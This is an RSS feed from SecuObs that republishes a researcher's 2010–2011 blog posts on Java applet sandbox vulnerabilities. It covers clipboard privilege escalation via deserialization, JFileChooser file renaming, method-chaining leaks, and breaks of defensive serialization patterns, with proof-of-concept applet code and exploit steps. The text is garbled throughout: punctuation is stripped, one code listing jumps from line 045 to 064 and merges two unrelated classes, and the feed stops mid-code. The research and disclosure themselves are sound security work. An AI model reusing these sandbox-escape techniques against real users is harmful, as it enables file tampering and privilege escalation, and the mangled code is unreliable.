<?xml version="1.0" encoding="utf-8"?>
<rss version="0.92">
<channel>
<title>SecuObs.com</title>
<link>http://www.secuobs.com</link>
<description>Observatoire de la securite Internet</description>
<language>fr</language>
<webMaster>webmaster@secuobs.com</webMaster>
 <item><title>Java 6 update 26 is out</title><description>2011-06-08 12:26:48 -  Slightly  Random Broken Thoughts : Oracle has released a security update for Java If you have Java installed and haven't updated your Java yet, do it now I'll wait No, really I'm not going on until you do  OK, great Now, I'm going to try something new and analyze the differences between Java 6 update 25 and Java 6 update 26 And we'll try to figure out what the underlying vulnerability might have been For the comparison, I'll be using my rather stale open source project reJ rejava You feed it two jars and it does a binary comparison of each of the files in the jar, and indicates which files are new, removed, or changed It then allows you to open these changed files and it does another diff on method level, and yet another on the bytecode level of each changed method It works OK, sometimes the algorithm consumes all the memory available, though Let's get started  File  rtjar  the runtime - heart and soul of Java  Package  sunutilresources TimeZoneNames TimeZoneNames_de TimeZoneNames_es TimeZoneNames_fr TimeZoneNames_it TimeZoneNames_pt_BR TimeZoneNames_sv These are not security related, just updating the time zone data OK, I got curious rej chokes on these files, because they're big It seems the change is more or less the same as this  http hgopenjdkjavanet jdk7 build jdk rev 55f97ad0a36e Namely the addition of America Metlakatla and America Sitka Package  sunmisc Version Also not security related Updated the version strings to update 26 Package  sunjava2dpipe DrawImage Not security related The line numbers have changed, maybe a comment added to the code I'm compaing the rtjar from the JDK which has debugging information  like source-code line number information  included Package  javaxswing ImageIcon This is security related But from a quick look, I can't figure out what the vulnerability is The source for this class is available in the srczip of the JDK for both versions The ImageIcon has a static protected component field whose appContext field is set to null in a privileged block In the new version this component is instantiated in another doPrivileged block which removes all it's permissions Package  javasecurity SignedObject This looks security related as well Also available in the srczip SignedObject's readObject method has been updated The update 25 version looked like this  sdefaultReadObject  content    byte contentclone  signature    byte signatureclone  and the update 26 looks like this  javaioObjectInputStreamGetField fields   sreadFields  content    byte fieldsget content , null clone  signature    byte fieldsget signature , null clone  thealgorithm    String fieldsget thealgorithm , null  This might be related to the problems of serialization I wrote about In the old version you could deserialize a SignedObject and get a reference to it, and the internal byte arrays for content and signature and pause the deserialization process before the two fields were replaced by clone  Package  javanet NetworkInterface This a fix to the NetworkInterfacetoString  method spilling out IP addresses, etc that I presented as an example of Trusted Method Chaining at the t2 infosec conference in 2010 and blogged about earlier this year Kudos to Oracle for reading my blog Now the toString  method doesn't return IP addresses anymore Package  comsunxmlinternalmessagingsaajclientp2p HttpSOAPConnection This is a fix to another slight issue I talked about at the t2 infosec conference, the HttpSOAPConnection class used to do HTTP requests that violated the same origin policy That has been fixed And as a bonus, this class used to set system proxy settings, which I hadn't mentioned anywhere, but which was on my TODO list I guess I can remove it now I didn't blog about that, so I guess that means Oracle also looked at my presentation slides Nice Package  comsunorgapachebcelinternalclassfile Utility OK, you guessed right This fixes yet another issue I talked about at the t2 infosec conference, and blogged about here That is, this class which seems to originate from the BCEL project, had some funky logic which lead to a Systemexit , if instrumented in the right way The Systemexit  has been removed File  pluginjar  as the name suggests, this has Java plugin specific stuff  No changes File  resourcesjar No changes File  jssejar  Java Secure Socket Extension  No changes File  jcejar  Java Cryptography extension  No changes File  javawsjar  Java Web Start  No changes File  deployjar Package  comsundeployconfig Config There's a binary difference, but reJ doesn't detect any bytecode differences I'm guessing this is another linenumber difference Package  comsundeployutil JVMParameters SecurityBaseline URLUtil SecurityBaseline has version information which has been updated JVMParameters has a change that has something to do with verifying if a Parameter is secure, but I can't figure out what's the net effect here This seems to be clearly security related, but I can't figure out how severe URLUtil has a change in the checkTargetURL method which that deals with jar and file URLs This also seems to be clearly security related, but I can't figure out how severe File  charsetsjar No changes File  sunpkcs11jar Package  sunsecuritypkcs11 Config ConfigurationException P11Cipher Secmod Config and Secmod seem to have real changes, but I'm not familiar enough with the pkcs packages to quickly assess what's going on By my counts that means that the majority of the fixed issues are in the native side, which I won't be dealing with here </description><link>http://www.secuobs.com/revue/news/309884.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/309884.shtml</guid></item>
<item><title>Inflated Java Malware Infection Rates</title><description>Secuobs.com : 2011-06-02 10:55:57 -  Slightly  Random Broken Thoughts - In the past year or so, I've read many articles on Java malware  most recently Gregg Keizer's article at Computer World and Dustin's blogpost at  Inspired by Actual Events    The fact that many of the top offenders are based on vulnerabilities I've found  CVE-2008-5353, CVE-2010-0840, CVE-2010-0094  makes me wince every time I read one of these  I don't consider myself to be one of the bad guys just because I like to break things  None of the articles pointed out one important thing that might very well be distorting Java malware infection rates, and it's this  The fact that Microsoft Security Essentials, or any other Anti-virus correctly identified the presence of a malicious piece of Java code on a user's machine does not mean that user was infected Infection might not even be likely The way Java works with Applets is that when there's an applet tag on a page, Java downloads the relevant code and saves it in the Java cache   username Application Data Sun Java Deployment cache  The code is then executed from disk If your Java is up-to-date, CVE-2008-5353, CVE-2010-0840, CVE-2010-0094 all fail to execute, resulting in a SecurityException But the offending code will remain in the cache and Security Essentials will find it and report it It will inflate the statistics I verified this on a Windows XP with the latest Java  Java 6 update 25 , executing the CVE-2008-5353 Applet from Metasploit, which is detected by Security Essentials As the Java is up-to-date, the exploit never executed Nevertheless Security Essentials correctly identified CVE-2008-5353 In conclusion, I do recognize that Java is notoriously badly updated by a big part of the user base and we wouldn't see tons of Java malware if some of it wasn't successful, but I think the Java malware infection rates are inflated by cases where users have malware in their cache that was never able to escape the sandbox of an updated Java </description><link>http://www.secuobs.com/revue/news/308677.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/308677.shtml</guid></item>
<item><title>Oracle Java Applet Clipboard Injection Remote Code Execution Vulnerability</title><description>Secuobs.com : 2011-03-11 05:55:05 -  Slightly  Random Broken Thoughts - Multiple Java Clipboard Vulnerabilities for Applets ZDI Identifier  ZDI-11-083 CVE Identifier  CVE-2010-4465 Vulnerable Java versions  Java 6u23 and older Abstract Java has a basic mechanism protecting the system clipboard from being programmatically accessed by sandboxed code Such operations will instead automatically act on an application-scope, local clipboard However, this mechanism can be trivially bypassed Additionally, with the TransferableProxy class, the clipboard can be used for privileged deserialization Vulnerability 1 - Hijacking system clipboard upon user action Should the user press CTRL C or CTRL X with the focus in a custom component, a reference to the system clipboard can be obtained and held onto for the rest of the lifetime of the applet This would enable an applet to eavesdrop passwords or other sensitive information that might already exist or come to exist on the clipboard Also, the applet might alter the data on the clipboard This is achieved by adding a custom  javaxswing TransferHandler to any focusable GUI component Upon a copy cut operation initiated by a user, the windowing framework calls the exportToClipboard method of the TransferHandler passing a reference to the System clipboard  in Windows environment, an instance of the class sunawtwindowsWClipboard  Vulnerability 2 - Automated hijacking of system clipboard Same as the first vulnerability, but automating the system clipboard hijack by triggering the copy operation automatically and thus gaining access to the system clipboard without requiring any user action This is done by creating a new AWT EventQueue and putting a KeyEvent for a copy operation on the queue Vulnerability 3 - Privilege escalation via privileged deserialization A TransferableProxy object can be put on the clipboard Any object contained within the TransferableProxy will be serialized upon a copy action and deserialized upon a paste action The paste action can be invoked in such a manner that no untrusted code will be on stack  using javaxswingTimer , effectively doing an implicitly privileged deserialization The problems of privileged deserialization have been well established The easiest way to exploit it is to create a Serializable subclass of ClassLoader which can then be used to define classes with full privileges An unsigned applet will thus gain the full privileges of the user running the browser More specifically this attack is carried on by executing the following steps    Set up a JTextField component on the screen   Define a custom TransferHandler to handle the copy paste operations of the text field   Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL C keystroke   Use javaxswingTimer to execute said copy action   This causes the Java event framework to call exportToClipboard on our custom TransferHandler   Create a TransferableProxy containing a custom Transferable object TransferableProxy is in the sunawtdatatransfer package and can't be instantiated with the  new  keyword, as the SecurityManager won't allow direct access to sun  packages Instead, the method createTransferableProxy  of class javaawtdndDropTargetContext is used It's a trusted class and the method wraps a given Transferable object into a TransferableProxy object and returns it However, the createTransferableProxy  method is an instance method  non-static  and has the access modifier  protected  so we need to subclass DropTargetContext and create a public method we can call which then calls the protected method We call the public method wrapTransferable  It takes a Transferable object as a parameter and returns a TransferableProxy which contains the given Transferable object DropTargetContext constructor has the access modifier  default  so not even our subclass can access it But DropTargetContext is a Serializable class, so we can create our subclass which the compiler says is wrong because the superclass constructor isn't visible, but the JVM doesn't enforce this as long as we instantiate our object by deserialization Sounds familiar  So we forge serial data which contains an instance of our subclass and use it to deserialize a DropTargetContext2  our subclass  instance The subclass has the public wrapTransferable  method, which we call, passing a custom Transferable  EvilTransferable  object to be wrapped   Put the resulting TransferableProxy on the clipboard   Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL V keystroke   Use javaxswingTimer to execute said paste action   This will cause the TransferableProxygetTransferData  method to be called in a privileged context In order to get here, the DataFlavor of our custom Transferable  EvilTransferable  does a trick where it checks the caller of the getSubType  by creating a String of the current stacktrace and returns  x-java-jvm-local-objectref  as the subType if the caller is TransferHandlergetPropertyDataFlavor, but returns  application x-java-serialized-object  for all the other callers This is a dirty hack to satisfy a condition in the getTransferData  method and to force a desired execution flow   Said method calls getTransferData  on the contained custom Transferable  EvilTransferable  object   EvilTransferable obtains a case3CL object loaded by the second applet tag on the page The class of this object has the same name and same serialization signature as our classloader subclass, but it's a different class, one that doesn't extend ClassLoader and that can be instantiated easily Because it was defined by another classloader  because of the 2nd applet tag where it was defined , it can have the same full name EvilTransferable puts this object into the first index of an Object array, and in the second index it puts an instance of the Class object of the local case3CL The serialization deserialization of TransferableProxy stores the ClassLoader of each object in a map where the key is the classname The class object in the array confuses this map, and the local classloader is used for deserializing the case3CL object, and not the other applet classloader   EvilTransferable returns an array containing a case3CL object and a case3CL class object   TransferableProxygetTransferData  serializes the CL object into a byte array   TransferableProxygetTransferData  deserializes the byte array data   The deserialized CL object is initialized because the deserialization happens in  an implicitly  privileged context  no untrusted code on stack at this point    The CL object, upon deserilization  in the readObject  method , defines a malicious class with full privileges and executes it The Outcome Potentially harmful Java code from an untrusted source gains read write access to system clipboard  vulnerabilities 1 2 , and full privilege escalation to do anything with the privileges of the user running the browser  vulnerability 3  Exploitation vectors User, using any browser with applets enabled, accesses a malicious page with an applet tag, or a page with an injected malicious applet tag The Fix In Java 6 update 24 Oracle fixed this issue, along with the JFileChooser issue I had blogged about earlier A quick analysis suggests it's a pretty good fix Starting with the obvious, Timer now captures the access control context when initialized and uses that context for execution No more javaxswingTimer freebies But Oracle went further than that and now Components and AWTEvents also capture the AccessControlContext when they are initialized And when the event thread is processing events it does an intersection of current permissions, the permissions of the event and the permissions of the source component of that event </description><link>http://www.secuobs.com/revue/news/290927.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/290927.shtml</guid></item>
<item><title>Java JFileChooser Programmatic Manipulation Vulnerability</title><description>Secuobs.com : 2011-02-07 07:11:53 -  Slightly  Random Broken Thoughts - Java GUI Manipulation Vulnerability This bug reaches the severity threshold where ideally I wouldn't talk about it until a fix has been issued, but as the Facebook relationship status would put it  It's complicated It doesn't qualify for ZDI because I already notified Sun by myself in 2008 about various vulnerabilities, first via their bug tracking  I didn't know any better  system and later on via e-mail to their security address, which resulted in the famous Calendar Serialization issue getting fixed This JFileChooser issue just never got fixed To be clear  after 2008, they never got back to me and I didn't harass them to fix it JFileChooser and FormView allow unsigned applets to read file-system structure  file folder names , renaming files and moving files Affected Operating Systems  at least  Windows XP, Windows 7 Affected Java Versions  at least  Java 6 update 23 Details javaxswingJFileChooser is a Java Swing component that allows the user to choose a file on the local filesystem It cannot normally be used on an applet, because the initialization tries to read the userhome system property which is not permitted So, if you try to do a  new JFileChooser  you get a SecurityException and you won't get a handle to any object And if you use the finalizer attack, you get an instance that isn't really functional This is where javaxswingtexthtmlFormView comes in It has a createComponent  method, which - with the right setup - creates a bunch of objects, one of them being a button, whose ActionListener creates a JFileChooser That ActionListener can be extracted and then javaxswingTimer can be used to execute the ActionListener Timer is used for executing ActionListeners in a timed fashion, and due to that nature, it executes them on a separate Thread which has no user code on the stack In other words, it executes ActionListeners in a privileged context Thus, the JFileChooser constructor runs fine So, a JFileChooser is created and displayed on the screen and the user can interact with it, but that doesn't do us much good, since we don't even have a reference to the JFileChooser That's where WindowgetWindows  comes in It returns an array of all Windows accessible to the Applet, the JFileChooser being one of them This way we get a reference to our JFileChooser instance What can we do with a JFileChooser  It only has methods for getting the selected file s , once the user has made his selection and that's no good We can, however, define a FileFilter for the JFileChooser and that's interesting, because it'll receive File objects for each file in the current directory  so it can tell JFileChooser whether or not to display the file in question  This happens for the initial folder and also for any other folders, should the user navigate elsewhere with the JFileChooser But since the user is not expecting to see a file chooser dialog, not a lot of navigation is to be expected There's an even better method to interact with the JFileChooser Java AWT Swing superclass javaawtComponent provides the method getComponents  which returns an array of child components This way if you start at the top, in this case the JFileChooser, you can navigate to all the child components of the GUI, the buttons, the comboboxes, everything Combine that with the fact that javaxswingTimer can be used to execute the ActionListeners of any of these GUI components and you can pretty much simulate any user action on the JFileChooser So, we can view the file system structure of the machine running the applet The JFileChooser has two additional interesting functionalities, which are the following  It can create empty folders and it can rename files and folders Also, renaming files to   newname  moves them toward the root in the filesystem and renaming files to  folder newname  moves them into the folder This means we can also move the files and folders Depending on other configuration like operating system, etc, this might be used for delayed Remote Code Execution For example, a jar might be moved from the Java Cache into the Java extension folder which has higher permissions Or imagine an executable posing as an image, which gets renamed, then moved to a system folder Original bug report  2008  Bug ID  6764977 Review ID  1379484 Date Created  Sun Oct 26 19 59 11 MST 2008 Type  bug Customer Name  Sami Koivu Customer Email  samikoivu gmailcom SDN ID  samikoivu gmailcom status  Waiting Category  java Subcategory  classes_swing Company  IT7 Solution Technology release  6u10 hardware  x86 OSversion  win_xp priority  4 Synopsis  FormView allows untrusted applet read access to the filesystem structure Description  FULL PRODUCT VERSION   java version  160_10  Java TM  SE Runtime Environment  build 160_10-b33  Java HotSpot TM  Client VM  build 110-b15, mixed mode, sharing  ADDITIONAL OS VERSION INFORMATION   Microsoft Windows XP  version 512600  A DESCRIPTION OF THE PROBLEM   javaxswingtexthtmlFormView allows an untrusted applet to instantiate a JFileChooser in the event thread without untrusted applet code on the stack thus escaping intervention of a SecurityManager FormView can be subclassed and instantiated in such a way that the createComponent method returns a Component which contains a button whose ActionListener is the inner class BrowseFileAction This BrowseFileAction can then be extracted and executed via javaxswingTimer on the event thread The important thing to notice is that there will be no applet code on the stack and thus the applet security manager will allow the operation A JFileChooser dialog is opened A reference to this dialog can be obtained via WindowgetWindows  Through this reference, using the AWt Swing component structure  basically calling getComponent  to access the children of each GUI component  the filenames in the current  default  directory can be obtained The dialog can also be manipulated in order to change the current browsing directory in the same fashion Thus the whole directory structure on the system of the user running the applet could be obtained Unconfirmed, but it seems probable it would be possible to stimulate the file rename functionality as well, allowing an untrusted applet to rename any file on the system of the user running the applet It should also be noted that the dialog can be made invisible as soon as a reference to it is obtained  causing the dialog to only briefly appear on the screen  I have a raw example of this available if absolutely necessary, but it is rather verbose and not very readable STEPS TO FOLLOW TO REPRODUCE THE PROBLEM   Stimulate FormViewBrowseFileAction to show a JFileChooser dialog EXPECTED VERSUS ACTUAL BEHAVIOR   EXPECTED - Either the action object is somehow made inaccessible or security manager will perceive somehow that there is applet code behind this operation disallowing the operation ACTUAL - A JFileChooser object is instantiated and displayed on the screen and can be manipulated in a manner that will at the very least invade the privacy of the web surfer REPRODUCIBILITY   This bug can be reproduced always Evaluation from Sun Microsystems  2008  It's perfectly correct to create JFileChooser under SecurityManager, and in this case user will be able to browse the file structure, it is  the code  who will not be able to do anything with those files The bug's description doesn't show any way how an untrusted applet can read the filesystem structure, we need more information Posted Date   2008-11-10 15 06 030 My response to evaluation  2008  Ok, maybe the initial bug description was too superficial Here's a more detailed one I'll do a bullet list and if necessary I can later be more specific on any single item   An instance of FormView's private inner class BrowseFileAction can be extracted   Said instance can be executed with javaxswingTimer The Timer class is used to executed ActionListeners in a timed fashion When the Timer class is used to execute core ActionListeners only trusted code will be on stack and the security manager allows everything BrowseFileAction is not the only problem  BasicFileChooserUINewFolderAction can be used to create folders and there must be other vulnerable ActionListeners in the rtjar, as well    When executed, BrowseFileAction opens a JFileChooser dialog This alone might be acceptable or not Keep reading   The javaawtWindow class has a method called getWindows  which according to the javadoc   Returns an array of all  code Window s, both owned and ownerless, created by this application    Said method can be used to obtain a reference to the window which contains the JFileChooser instance This goes something like  JDialog dlg    JDialog  WindowgetWindows     JRootPane root   dlggetRootPane  JLayeredPane layered    JLayeredPane  rootgetComponent 1  JPanel panel    JPanel  layeredgetComponent 0  JFileChooser fc    JFileChooser  panelgetComponent 0     if you set your custom FileFilter on this instance, it will call your FileFilter's accept method once which each file of the current directory  the code  will be receiving this information    You can use the ContainergetComponent int  method on the JFileChooser to obtain all the direct and subcomponents of the JFileChooser That is, the JComboBox subclass which controls the current directory and the sunswingFilePane object which contains a JList which contains the files in the current directory You would go about it like this  YMMV  JPanel panel    JPanel  fcgetComponent 0  JComboBox combo    JComboBox  panelgetComponent 2    You can manipulate the JComboBox to change the current directory You might, for instance, obtain the actionlisteners of the combobox, remove them from the combobox, set the seleted index of the combobox to a different value and then user javaxswingTimer to execute the actionlisteners to update the JFileChooser   You can get the action for editing a filename from the FilePane in the same way described above You can then execute the EditActionListener using javaxswingTimer This will cause the JFileChooser to display a JTextField for editing the filename A reference to this JTextField can be obtained as described above  ContainergetComponent int  The value of the text can be change by  the code   setText String  and another action can be invoked via javaxswingTimer to tell JFileChooser that editing has terminated which will cause it to rename the file Or move the file, if the file is renamed to   filename  or  folder filename  Example - Caution, running this will rename and move a file on your system  This works on Windows XP Windows 7, file renaming doesn't work on Linux though it might be possible with extra effort  It pops up a JFileChooser, goes to the first folder in the Location combobox, selects the 6th file and prefixes the name with  new  and moves it to the parent directory http pastebincom mTCztGbQ </description><link>http://www.secuobs.com/revue/news/283339.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/283339.shtml</guid></item>
<item><title>Trusted Method Chaining for Network Interface details</title><description>Secuobs.com : 2011-02-01 19:02:51 -  Slightly  Random Broken Thoughts - Here's yet another Trusted Method Chaining instance This one can be used for listing network interface details No need for anything tricky  such as classes created with a custom compiler  this time However, since this is an information leak, it's not simply enough to call the method - we need to get our hands on the return value, as well I'm not sure if it could be scraped off of the screen, but it's really simple to define our own renderer to which the GUI passes the information quite handily By the way, this instance and the previous one along with some others were uncovered by a prototype of an automated tool that searches a set of classes for interesting chaining instances This one's simple    javanetNetworkInterfacegetNetworkInterfaces  returns an Enumeration of network interfaces, in the form of NetworkInterface objects   NetworkInterfacetoString  calls getInetAddresses    NetworkInterfacegetInetAddresses  has a security check, so it can't be called directly To create the chain    Put all NetworkInterface objects in a JList   Make JList visible To get the programmatic access to the values, we can set a DefaultListCellRenderer subclass as the renderer for the JList The setText  method of our renderer receives all displayed values Here's an example that gets all the interface information and dumps it to the Java console It probably gets repeated a few times because of how the Java GUI works  001 package ex6chainingnetworkinterfaces  002 003 import javaappletApplet  004 import javanetNetworkInterface  005 import javautilEnumeration  006 import javautilVector  007 008 import javaxswingDefaultListCellRenderer  009 import javaxswingJList  010 011 public class Example extends Applet   012 public void start    013 Vector interfaceList   new Vector  014 try   015 Enumeration en   NetworkInterfacegetNetworkInterfaces  016 while  enhasMoreElements    017 interfaceListadd ennextElement  018   019   catch  Exception e     020 eprintStackTrace  021   022 JList jlist   new JList interfaceList  023 jlistsetCellRenderer new DefaultListCellRenderer    024 025 public void setText String text    026 Systemoutprintln    text  027 supersetText text  028   029   030 thisadd jlist  031   032   It should vomit something like this on the Java console  Systemout  Linux     name eth1  eth1  index  3 addresses   fe80 0 0 0 212 34ff fe56 789apourcents3   172210108   name lo  lo  index  1 addresses   0 0 0 0 0 0 0 1pourcents1   127001   Windows     name lo  MS TCP Loopback interface  index  1 addresses   127001   name eth0  AMD PCNET Family PCI Ethernet Adapter - Miniporta do agendador de pacotes  index  65539 addresses   172210110   </description><link>http://www.secuobs.com/revue/news/282176.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/282176.shtml</guid></item>
<item><title>Trusted Method Chaining to a Systemexit</title><description>Secuobs.com : 2011-01-31 08:55:41 -  Slightly  Random Broken Thoughts - More details on the chaining instance I mentioned in my talk This one is not a remote code execution vulnerability, it simply about calling Systemexit from an applet  which shouldn't be allowed, but doesn't really do anything interesting  It might be remotely possible that this could be used for a DoS in some marginal SecurityManager scenario The idea is to create a chain from an object's toString  method to comsunorgapachebcelinternalclassfileUtilitycodeToString , which has this confusing switch statement  That logic relies on a bunch of final arrays from a class named Constant In Java Security 101 we learn that the data in final arrays isn't final at all, and so in this case the data can be modified in such a way that the execution reaches the impossible-to-reach block which calls Systemexit Now all that remains is getting trusted code to call the above piece of code The chain to do that is as follows  -Have the GUI draw an instance of comsunorgapachebcelinternalclassfileCode, calling the toString  method of the object -The toString  method calls UtilitycodeToString  -UtilitycodeToString  has the above piece of code The code to do that  001 package ex6chainingsystemexit  002 003 import javaappletApplet  004 005 import javaxswingJList  006 007 import comsunorgapachebcelinternalConstants  008 import comsunorgapachebcelinternalclassfileAttribute  009 import comsunorgapachebcelinternalclassfileCode  010 import comsunorgapachebcelinternalclassfileCodeException  011 import comsunorgapachebcelinternalclassfileConstant  012 import comsunorgapachebcelinternalclassfileConstantPool  013 014 public class Example extends Applet   015 public void start    016   modify the final array elements 017 ConstantsNO_OF_OPERANDS 0    1  018 ConstantsTYPE_OF_OPERANDS 0    new short 1  019 byte  codebytes   new byte   0, 0, 0  020 Code code   new Code 1, 1, 0, 0, codebytes, new CodeException 0 , new Attribute 0 , new ConstantPool new Constant 0  021 JList list   new JList new Object   code  022 thisadd list  023   024   </description><link>http://www.secuobs.com/revue/news/281808.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/281808.shtml</guid></item>
<item><title>Hazards of Duke</title><description>Secuobs.com : 2011-01-20 00:45:54 -  Slightly  Random Broken Thoughts - I did a talk on Java Sandbox  in security at the end of October last year, at the t2 security conference Here are the slides for that talk  Hazards of Duke   Java Sandbox  in security For the readers of this blog, there shouldn't be too many new things There are, however some new  in the sense that they haven't been fixed and I haven't discussed them on the blog  vulnerabilities discussed    A chaining instance that calls Systemexit  and kills the virtual machine   A chaining instance that lists all network interfaces  IP addresses, etc    A programmatic GUI manipulation attack that allows renaming and moving files using the JFileChooser class This one would be severe enough for me to pass on to ZDI, but it's ineligible, because I already informed Sun Microsystems about it in 2008 There are some clues in the slides, but I demoed the issue at my talk and I can give a practical example here, too </description><link>http://www.secuobs.com/revue/news/279452.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/279452.shtml</guid></item>
<item><title>Java 6 Update 22 is out</title><description>Secuobs.com : 2010-10-13 08:02:11 -  Slightly  Random Broken Thoughts - Quick post on Java 6 Update 22 which was released on October 12th None of my vulnerabilities awaiting to be fixed on the Coordinated Vulnerability Disclosure front were actually fixed in this release, but a quick binary compare of releases 21 and 22 reveals that some of the stuff I've covered on the blog were addressed The Corba ObjectUtility problems I discussed were fixed And several of the serialization issues were addressed It looks like they created a cute little mechanism for preventing external calls to defaultReadObject defaultWriteObject And the problem of repeated fields also seems to be addressed The early reference stuff can't really be fixed, because it is a feature And that means you can still create an Integer object that has 0 as its value and then later at an arbitrary moment changes it's value to something else </description><link>http://www.secuobs.com/revue/news/256479.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/256479.shtml</guid></item>
<item><title>Breaking Defensive Serialization</title><description>Secuobs.com : 2010-09-17 00:53:22 -  Slightly  Random Broken Thoughts -  This post is too long and not very high quality But I said I'd show code, so there Now I want to take a break from serialization  So, the last post was very theoretical, describing how to break many of the defensive serialization patterns suggested by publications and guides, but showing no actual code on how to do it This post aims to remedy that In order to do that, I need an efficient and clear way to include the serial data which is at the heart of those pieces of code I've been dealing with serial data in a lot of different ways over the years, ranging from using a hex editor to edit the binary data stored in a file, using an unpublished version of reJ with serial data manipulation capabilities, inline byte arrays with comments, serializing stand-in classes and doing string substitution in the binary data Any of those work well when you're creating proof of vulnerabilities once per month, but none of them are very much fun to work with when you have a half a dozen examples you want to show Also, they don't translate very well into a blog post So I decided on an  annotated  Object array, which contains Bytes, Shorts, Integers, Longs, Strings and my own Repeat objects The object array gets processed, writing the values into a byte array, using the corresponding writeXXX methods of DataOutputStream And the Repeat is used to repeat a set of data n times So to start off, here are the couple of helper classes, Converter and Repeat, that aid in turning a somewhat legible Object array into the binary serial data And also the EvilSplitStream which aids in dynamically altering the InputStream which feeds the deserialization 001 package util  002 003 public class Repeat   004 private int count  005 private Object  data  006 007 Repeat int count, Object  data    008 thiscount   count  009 thisdata   data  010   011 012 public static Repeat me int count, Object  data    013 return new Repeat count, data  014   015 016 public int getCount    017 return count  018   019 020 public Object  getData    021 return data  022   023   001 package util  002 003 import javaioBufferedInputStream  004 import javaioByteArrayInputStream  005 import javaioByteArrayOutputStream  006 import javaioDataOutputStream  007 import javaioIOException  008 import javaioInputStream  009 import javaioObjectInputStream  010 011 public class Converter   012 013 public static ObjectInputStream convert Object  objs  throws IOException   014 ObjectInputStream ois   new ObjectInputStream getStream objs  015 return ois  016   017 018 public static InputStream getStream Object  objs  throws IOException   019 ByteArrayOutputStream baos   new ByteArrayOutputStream  020 DataOutputStream dos   new DataOutputStream baos  021 for  Object obj   objs    022 treatObject dos, obj  023   024 025 ByteArrayInputStream bais   new ByteArrayInputStream baostoByteArray  026 BufferedInputStream bis   new BufferedInputStream bais  027 return bis  028   029 030 private static void treatObject DataOutputStream dos, Object obj  031 throws IOException   032 if  obj instanceof Byte    033 doswriteByte Byte  obj  034   else if  obj instanceof Short    035 doswriteShort Short  obj  036   else if  obj instanceof Integer    037 doswriteInt Integer  obj  038   else if  obj instanceof Long    039 doswriteLong Long  obj  040   else if  obj instanceof String    041 String str    String  obj  042 doswriteUTF str  043   else if  obj instanceof Repeat    044 Repeat r    Repeat  obj  045 for  int i   0  i   valueslength    064 return 0  065   066 067   stack inspection 068 ByteArrayOutputStream baos   new ByteArrayOutputStream  069 new Exception printStackTrace new PrintStream baos  070 int period   baostoString indexOf Period  071 int periodReadObject   baostoString indexOf PeriodreadObject  072 if  period   periodReadObject    073 final Period mutable   thisperiod  074   at this moment we hold a ref to a mutable Period - proof  075 Systemoutprintln start      mutablestart  076 Systemoutprintln start      mutablestart  077 Systemoutprintln start      mutablestart  078 Systemoutprintln start      mutablestart  079   080 081 if  pos   valueslength    082 return 0  083   084 return values pos  085   086 087 private void readObject ObjectInputStream s  throws IOException, ClassNotFoundException   088 sdefaultReadObject  089   090 091   Apologies for the bad readability of the code, the multiple re-entries into the getTime  method complicate things a bit There are two objects in the serial data An instance of Josh's Period class and an instance of a class defined here, MutableDate The idea is that both the start and end fields of the Period object will be populated with the same MutableDate instance  it doesn't need to be the same, just being stingy on LOC  Eventually the PeriodreadObject method will replace these with immutable Date objects, but the idea is that we do our dirty bidding before that takes place The PeriodreadObject calls DategetTime  on our MutableDate instance which is stored in the start field At this point all three fields  Periodstart, Periodend and MutableDateperiod have been initialized We have control of the PeriodObject through an early cross reference in the MutableDate instance As a proof of the mutability there are 4 consecutive calls to the Periodstart  method whose output are printed, something like this  start  Thu May 01 00 00 00 BRT 2008 start  Sat Jul 04 00 00 00 BRT 2009 start  Fri Dec 24 00 00 00 BRST 2010 start  Sun Aug 08 00 00 00 BRT 2010 Important note for those who might be at doubt  Joshua Bloch is not the problem The serialization deserialization SNAFU is 2  Oracle Secure Coding guidelines  Guideline 5-4  2a  Example 1 As this class is pretty skinny on the details, I'll skip it I'd have to add most of the logic to it and then one could argue that the code I added made it vulnerable 2b  Example 2 I added a few things to this class to make it more serially robust and to be able to better display it being manipulated, namely, a serialVersionUID and a toString method Security-wise the class is still exactly as it is in the secure coding guidelines example  001 package ser3  002 003 import javaioIOException  004 005 public final class SecureName implements javaioSerializable   006 007 private static final long serialVersionUID   3874641747845008981L  008 009   private internal state 010 private String name  011 012 private static final String DEFAULT    DEFAULT  013 014 public SecureName    015   initialize name to default value 016 name   DEFAULT  017   018 019   allow callers to modify private internal state 020 public void setName String name    021 if  name   null   nameequals thisname     thisname   null    022   no change - do nothing 023 return  024   else   025   permission needed to modify name 026 securityManagerCheck  027 028 inputValidation name  029 030 thisname   name  031   032   033 034   implement readObject to enforce checks during deserialization 035 private void readObject javaioObjectInputStream in  throws ClassNotFoundException, IOException   036 javaioObjectInputStreamGetField fields   inreadFields  037 String name    String  fieldsget name , DEFAULT  038 039   if the deserialized name does not match the default value normally 040   created at construction time, duplicate checks 041 042 if  DEFAULTequals name    043 securityManagerCheck  044 inputValidation name  045   046 thisname   name  047   048 049 private void inputValidation String name2    050   code omitted 051 throw new SecurityException not allowed  052   053 054 private void securityManagerCheck    055   code omitted 056 throw new SecurityException not allowed  057   058 059 public String toString    060 return  SecureName      thisname  061   062 063   And to break it  001 package ser3  002 003 import javaioIOException  004 import javaioNotActiveException  005 import javaioObjectInputStream  006 import javaioObjectStreamConstants  007 008 import utilConverter  009 import utilEvilSplitStream  010 011 public class App implements ObjectStreamConstants   012 013 static final Object  _DATA   new Object    014 STREAM_MAGIC, STREAM_VERSION,   stream headers 015 016 TC_OBJECT, 017 TC_CLASSDESC, 018 SecureNameclassgetName ,   A Period object 019  long  3874641747845008981L,   serialVersionUID 020  byte  3,   classdesc flags 021  short  1,   field count 022  byte  'L',  name , TC_STRING,  Ljava lang String ,   start field 023 TC_ENDBLOCKDATA, 024 TC_NULL,   no superclass 025 026   field value data 027 TC_STRING,  EVIL ,   value for SecureNamename 028   029 030 public static SecureName evilName   null  031 032 public static void main String  args  throws Exception   033 final EvilSplitStream is   new EvilSplitStream ConvertergetStream DATA  034 final ObjectInputStream ois   new ObjectInputStream is  035 036 ismark 1024  037 new Thread    038 public void run    039 while  true    040 try   041 oisreadObject  042   catch  NotActiveException nae    043   NAE 